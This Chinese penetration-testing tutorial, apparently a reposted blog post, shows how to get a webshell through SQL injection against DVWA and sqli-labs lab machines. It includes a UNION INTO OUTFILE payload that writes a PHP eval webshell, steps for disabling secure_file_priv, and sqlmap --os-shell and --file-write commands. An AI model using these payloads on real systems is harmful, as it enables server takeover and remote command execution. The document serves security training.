基于SQL注入漏洞读写文件Getshell技巧

Posted Tr0e

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了基于SQL注入漏洞读写文件Getshell技巧相关的知识,希望对你有一定的参考价值。

前言

在 HW 行动和攻防演练过程中,获得 Shell 的方式总结起来大概是以下几种(当然了如果能够通过源码泄露审计出 0day 的大佬的姿势另说……):

  1. 暴力破解+弱口令/未授权访问漏洞登录后台,任意文件上传漏洞 Getshell;
  2. Shiro、Struts2、Fastjson 等反序列化漏洞导致 RCE;
  3. 通过 SQL 注入漏洞写入木马文件并 Getshell……

在前面一篇文章:渗透测试-PhpMyAdmin后台getshell 里曾介绍了如何在 phpMyAdmin 后台通过into outfile写入木马、mysql 日志文件写入木马两种方式获得 Shell,本文将总结记录下在常规 SQL 注入场景下如何通过 SQL 注入读写系统文件并 Getshell。

手工注入

下面先来看看如何基于手工注入的方式向 SQL 注入点写入木马并获得 Shell。

靶场环境

1、本文的演示环境基于 Win7 虚拟机搭建的 DVWA 靶场:
在这里插入图片描述2、物理机访问 DVWA 靶场:
在这里插入图片描述3、开启 LOW 安全级别模式,访问 SQL 注入模块,如下图可以拼接执行 union 复合查询语句:
在这里插入图片描述该靶场环境的具体分析和手工注入脱裤方式请参见:Web安全-SQL注入漏洞,本文不展开介绍。简单附上服务端源码吧:

<?php 
if( isset( $_REQUEST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_REQUEST[ 'id' ]; 
    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 
    // Get results 
    $num = mysql_numrows( $result ); 
    $i   = 0; 
    while( $i < $num ) { 
        // Get values 
        $first = mysql_result( $result, $i, "first_name" ); 
        $last  = mysql_result( $result, $i, "last_name" ); 
        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
        // Increase loop count 
        $i++; 
    } 
    mysql_close(); 
} 

into outfile

SQL 注入获取系统权限的方法,可以直接利用 into outfile 函数直接写入一句话木马 。

into outfile 的利用条件

1、此方法利用的先决条件:

  • Web 目录具有写权限,能够使用单引号;
  • 知道网站绝对路径(根目录,或则是根目录往下的目录都行);
  • secure_file_priv 没有具体值(在 mysql/my.ini 中查看)

2、关于 secure_file_priv 配置:

Mysql 配置参数 secure_file_priv 是用来限制 load dumpfile、into outfile、load_file() 等函数在哪个目录下拥有上传和读取文件的权限。如下关于 secure_file_priv 的配置介绍:

secure_file_priv 的值释义
null表示限制 mysqld 不允许导入导出
/tmp/表示限制 mysqld 的导入导出只能发生在 /tmp/ 目录下
没有具体值表示不对 mysqld 的导入导出做限制

所以如果我们要想使用 into outfile 函数写入一句话木马的话就需要将 secure_file_priv 的值设为没有值。查看 secure-file-priv 参数的值可用如下命令:

show global variables like '%secure%';

如下,secure_file_priv 的值默认为 NULL,则表示限制 Mysqld 不允许导入导出:
在这里插入图片描述
我们可以在 mysql/my.ini 中查看是否有 secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = '' 即可:
在这里插入图片描述
此时再查看 secure_file_priv 的值如下已经变为空了,设置完成后我们就可以利用 into outfile 函数来写入一句话木马:
在这里插入图片描述
DVWA靶场实战演示

1、尝试直接使用以下 Payload 在上述靶场写入一句话木马:

1' union select 1,"<?php @eval($_POST['attack']);?>" into outfile 'C:\\\\SoftWare\\\\phpStudy_64\\\\phpStudy_pro\\\\WWW\\\\DVWA\\\\hack.php'#

提交后报错,可以看到 --secure-file-priv 参数拒绝了写入:
在这里插入图片描述2、手动在mysql/my.ini 添加 secure_file_priv = '' 配置:
在这里插入图片描述

3、保存并重启 Mysql 服务,重新提交 Payload:
在这里插入图片描述访问上传的木马:
在这里插入图片描述
查看服务器确实也是上传成功了:
在这里插入图片描述4、那就不客气了,蚁剑连接木马获得 Shell:
在这里插入图片描述

SQLMap

接下来演示的是直接借助 SQLMap 进行 Shell 写入的方式。

靶场环境

1、不知为何 DVWA 跑 SQLMap 一直出错,索性换成 sqli-labs 吧,同样在 Win7 虚拟机搭建:
在这里插入图片描述2、物理机直接访问靶场,选择第一关进行演示:

在这里插入图片描述

–os-shell

--os-shell 也就是从注入点获得一个交互式的 shell,给我们提供了一个环境可以执行一定的系统命令,讲白了也就是类似于在 Windows 下的 cmd。执行该参数命令也是通过 into oufile 向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件。可以理解为通过上传一个 Sqlmap 的马,然后通过马来进行命令执行。

  1. 要求为 DBA 权限(下文实践发现似乎也不是必要条件……),可以使用 SQLMap 的 --is-dba 参数判断(Phpstudy 搭建的一般为DBA);
  2. 知道网站的绝对路径,可以通过报错信息获取;
  3. secure_file_priv 没有具体值(在mysql/my.ini中查看与配置)。

介绍完基础理论,下面开始进行攻击演示。

1、首先使用 SQLMap 判断注入点:
在这里插入图片描述2、执行 --os-shell参数命令:
在这里插入图片描述指定站点语言和上传路径后,sqlmap 将在指定的目录生成了两个文件,分别用来执行系统命令和上传文件:
在这里插入图片描述3、尝试访问用于执行系统命令的文件:
在这里插入图片描述
4、继续访问用于上传任意文件的文件,上传冰蝎马:
在这里插入图片描述服务端可以看到成功上传的冰蝎马:
在这里插入图片描述5、上冰蝎连接木马,获得 Shell:
在这里插入图片描述6、同时补充一下 SQLMap 获得的 Shell 也可以执行命令:
在这里插入图片描述

读写文件

SQLMap 还可以直接对服务器的文件进行读写操作,也可用于写入木马文件 Getshell,下面进行演示介绍。

1、借助 SQLMap 的--file-read参数读取服务器文件,以刚才上传的冰蝎马为例:
在这里插入图片描述打开从服务端读取并本地下载的文件:
在这里插入图片描述2、使用 SQLMap 的–file-write–file-dest指定本地物理机的文件上传写入到靶机服务器的指定路径,执行如下命令:

sqlmap.py -u "http://192.168.0.102/sqli-labs/Less-1/?id=1"file-write "D:\\\\shell.php"file-dest "C:\\\\SoftWare\\\\phpStudy_64\\\\phpStudy_pro\\\\WWW\\\\new.php"

效果如下:
在这里插入图片描述到 Win7 靶机对应目录可以找到写入的木马文件:
在这里插入图片描述上冰蝎连接新写入到服务器的木马:
在这里插入图片描述
3、最后顺便了解下 SQLMap 另外一个命令参数--sql-shell,用于提供一个交互式的 SQL 语句执行环境,支持 Tab 键补全和命令历史记录。关于 SQLMap 各项参数的具体用法也可参见:Sqlmap中文手册

总结

本文演示了 3 种通过 SQL 注入获取系统权限的方法:

  1. 利用 into outfile 函数直接写入一句话木马;
  2. 利用 SQLMap 的 --os-shell 命令参数来执行任意操作系统命令 、上传木马;
  3. 利用 SQLMap 的–file-write–file-dest文件写入命令参数将本地的木马文件写入到服务端指定路径。

由此可见 SQL 注入的危害不仅仅是泄露数据库数据这么简单!!

以上是关于基于SQL注入漏洞读写文件Getshell技巧的主要内容,如果未能解决你的问题,请参考以下文章

PHPCMS9.6.0最新版SQL注入和前台GETSHELL漏洞分析 (实验新课)

文件包含漏洞利用方式-日志注入getshell

代码审计就该这么来3 beescms getshell

dedecms最新注入和getshell漏洞利用

[代码审计] beecms 4.0 漏洞总结

从mysql注入到getshell